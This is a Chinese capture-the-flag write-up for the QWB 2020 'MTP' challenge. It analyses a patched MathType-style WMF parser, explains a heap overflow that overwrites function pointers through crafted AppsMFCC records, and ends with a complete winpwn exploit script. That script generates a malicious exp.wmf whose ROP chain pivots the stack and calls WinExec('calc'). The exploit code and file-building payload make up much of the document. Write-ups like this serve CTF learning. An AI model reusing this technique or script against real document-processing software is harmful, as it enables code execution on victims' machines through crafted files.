MTP qwb2020
RW 题目对我来说是比较复杂的,但是其中漏洞的点可以比较快速的发现,但是利用得时候是非常麻烦和复杂的,对于菜单题可以快速进行pwntools进行交互,但是rw题目需要分析文件结构等,对于逆向来说实在是麻烦。
这次记录是从最基本的对比开始
使用beyond compare 4 进行文件对比
这些位置是修改了ASLR和增加了一个区段
这里就是修改的具体代码了
分析差异位置
跳转文件偏移,发现修改了一个指针,使其指向了新建的区段。
新增了一些处理流程
同时在下面发现了故意预留的指针,所以一定是通过覆盖指针 来实现对于WinExec函数的调用。
在旧的处理流程中发现了复制时长度可以由用户可控。
想要在这里覆盖掉预留的指针,必须在这里想办法来覆盖掉高地址已经分配的块
漏洞分析
使用010 editor 来分析文件结构可以方便的发现这两个结构的位置
lpMR->rdFunction == 0x2019 && lpMR->rdParm[0] == 0x233
随便新建一个文件,然后保存出来
可以发现其实就是上面偏移所指向的位置其中 word function 其实就是第一个判断,通过这个可以来控制流程。
头部结构
META_ESCAPE_ENHANCED_METAFILE 这个是对应了0x626
这个题目有个比较简单的地方是,头部的数据可以直接在其他文件中复制就可以了,因为无论是否正确都可以进行使用,而且checksum仅仅校验了头部的正确性。
想要进入添加的代码分支就要构造RecordFunction是0x2019 ,下一个字是0x233。在这个分支中主要完成的是对于内存块的申请,其实没啥具体意义主要是可以将内存中已经释放掉不连续的内存消耗掉。进而提高成功率。
明确的是原始代码存在漏洞,所以添加的代码其实是为了内存布局和给一个触发漏洞的机会。
┌────────────────────┐
│ data org>alloc_chu│
│ nk │ 上面的堆块 发生越界写 进而覆盖下面两个函数指针,进而控制程序
│ oob │
│ │
│ │
│ │
├────────────────────┤
│ p1 p2 │
├────────────────────┤
│string │
│ │
│ │
│ │
│ │
└────────────────────┘
建立的模板中也就存在这个函数,进而定位可以控制memmove
想要覆盖下一个堆块 v7的指针向前移动,经过测试在经过第一轮的APPsMFCC以后正好是完全把申请的内存用掉了。所以下面要是还有一轮的话就能够覆盖后面申请的内存块了。
想要这个函数不返回0 就要将这两个值调整成不相等的,对应文件中就是0x14和0x18的位置,而且0x18是覆盖多长的距离。
所以修改0x14和0x18位置的值
大概步骤是 消耗 0x108的chunk -> 通过original_proc 的检查,然后申请0x108的chunk,同时修改0x18位置使其认为并没有结束循环。 -> 申请包含两个可用指针的chunk (想要覆盖的chunk)
在下一轮中即可开始覆盖后面的chunk。
这里也需要通过覆盖来进行绕过。
在控制程序流程后,第一个call是调整esp进行栈迁移,进而可以控制程序流程,程序中预留了可以控制esp的代码。
先测试覆盖下面的位置。
测试代码是仅仅将这个结构复制了一下 然后修改了两个位置。0x14和0x18
在下面就会将如下位置的值覆盖过去 覆盖掉下一堆块的结构。
修改的位置是正好覆盖掉两个指针
测试是否可以进行覆盖
成功覆盖
此时只要绕过下面的一个字符串比较即可,下面就可以进行开始构造栈迁移了。
# -*- coding: utf-8 -*-
# @Time : 2021-06-21 14:50
# @Author : H01K
# @Email : 49335564@qq.com
# @File : exp_m.py
# @Software: PyCharm
from winpwn import *
context.arch = 'i386'
start = [0xD7, 0xCD, 0xC6, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xC0, 0x01, 0x00, 0x09,
0x00, 0x00, 0x00, 0x00, 0x51, 0x5D, 0x01, 0x00, 0x09, 0x00, 0x00, 0x03, 0x21, 0x91, 0x00, 0x00,
0x02, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00 ] #头部
body = [0x09, 0x00, 0x00, 0x00, 0x19, 0x20, 0x33, 0x02, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00] # 消耗chunk
exp1 = [0x81,0x00,0x00,0x00,0x26,0x06,0x0f,0x00,0xf7,0x00,0x41,0x70,0x70,0x73,0x4d,0x46,0x43,0x43,0x01,0x00,0x08,0x01,0x00,0x00,0xda,0x00,0x00,0x00,0x44,0x65,0x73,0x69,0x67,0x6e,0x20,0x53,0x63,0x69,0x65,0x6e,0x63,0x65,0x2c,0x20,0x49,0x6e,0x63,0x2e,0x00,0x05,0x01,0x00,0x07,0x04,0x44,0x53,0x4d,0x54,0x37,0x00,0x00,0x13,0x57,0x69,0x6e,0x41,0x6c,0x6c,0x42,0x61,0x73,0x69,0x63,0x43,0x6f,0x64,0x65,0x50,0x61,0x67,0x65,0x73,0x00,0x11,0x05,0x54,0x69,0x6d,0x65,0x73,0x20,0x4e,0x65,0x77,0x20,0x52,0x6f,0x6d,0x61,0x6e,0x00,0x11,0x03,0x53,0x79,0x6d,0x62,0x6f,0x6c,0x00,0x11,0x05,0x43,0x6f,0x75,0x72,0x69,0x65,0x72,0x20,0x4e,0x65,0x77,0x00,0x11,0x04,0x4d,0x54,0x20,0x45,0x78,0x74,0x72,0x61,0x00,0x12,0x00,0x08,0x21,0x2f,0x45,0x8f,0x44,0x2f,0x41,0x50,0xf4,0x10,0x0f,0x47,0x5f,0x41,0x50,0xf2,0x1f,0x1e,0x41,0x50,0xf4,0x15,0x0f,0x41,0x00,0xf4,0x45,0xf4,0x25,0xf4,0x8f,0x42,0x5f,0x41,0x00,0xf4,0x10,0x0f,0x43,0x5f,0x41,0x00,0xf4,0x8f,0x45,0xf4,0x2a,0x5f,0x48,0xf4,0x8f,0x41,0x00,0xf4,0x10,0x0f,0x40,0xf4,0x8f,0x41,0x7f,0x48,0xf4,0x10,0x0f,0x41,0x2a,0x5f,0x44,0x5f,0x45,0xf4,0x5f,0x45,0xf4,0x5f,0x41,0x0f,0x0c,0x01,0x00,0x01,0x00,0x01,0x02,0x02,0x02,0x02,0x00,0x02,0x00,0x01,0x01,0x01,0x00,0x03,0x00,0x01,0x00,0x04,0x00,0x00,0x0a,0x01,0x00,0x02,0x04,0x86,0x1e,0x22,0xa5,0x02,0x04,0x84,0xb8,0x03,0x71,0x00,0x00,0x00]
exp2 = [0x94,0x00,0x00,0x00,0x26,0x06,0x0f,0x00,0x1d,0x01,0x41,0x70,0x70,0x73,0x4d,0x46,0x43,0x43,0x01,0x00,0xf6,0x00,0x00,0x00,0xf6,0x00,0x00,0x00,0x44,0x65,0x73,0x69,0x67,0x6e,0x20,0x53,0x63,0x69,0x65,0x6e,0x63,0x65,0x2c,0x20,0x49,0x6e,0x63,0x2e,0x00,0x3c,0x3f,0x78,0x6d,0x6c,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x22,0x3f,0x3e,0x3c,0x21,0x2d,0x2d,0x20,0x4d,0x61,0x74,0x68,0x54,0x79,0x70,0x65,0x40,0x54,0x72,0x61,0x6e,0x73,0x6c,0x61,0x74,0x6f,0x72,0x40,0x35,0x40,0x35,0x40,0x4d,0x61,0x74,0x68,0x4d,0x4c,0x32,0x20,0x28,0x43,0x6c,0x69]
# .decode('unicode_escape')
exp3 = p32(0x00753053) # 切换堆栈
exp3 += p32(0x0043b056)
exp3 += 'Design Science, Inc.\x00\x00\x00\x00' #覆盖指针和绕过
exp3 += p32(0x004f086e)
exp3 += p32(0x636c6163)
exp3 += p32(0x0040359f)
exp3 += p32(0x00619FC0)
exp3 += p32(0x004f0e9c)
exp3 += p32(0x04EDB7E) # WinExec
exp3 += p32(0x583190) # ExitProcess
exp3 += p32(0x00619FC0)
exp3 += p32(5)
end = [0x03,0x00,0x00,0x00,0x00,0x00]
payload = bytes(start) + bytes(body)*0x1000 + bytes(exp1) + bytes(exp2) + bytes(exp3.ljust(0xb9,"\x00").encode('latin-1')) + bytes(end)
with open('exp.wmf', 'wb') as f:
f.write(payload)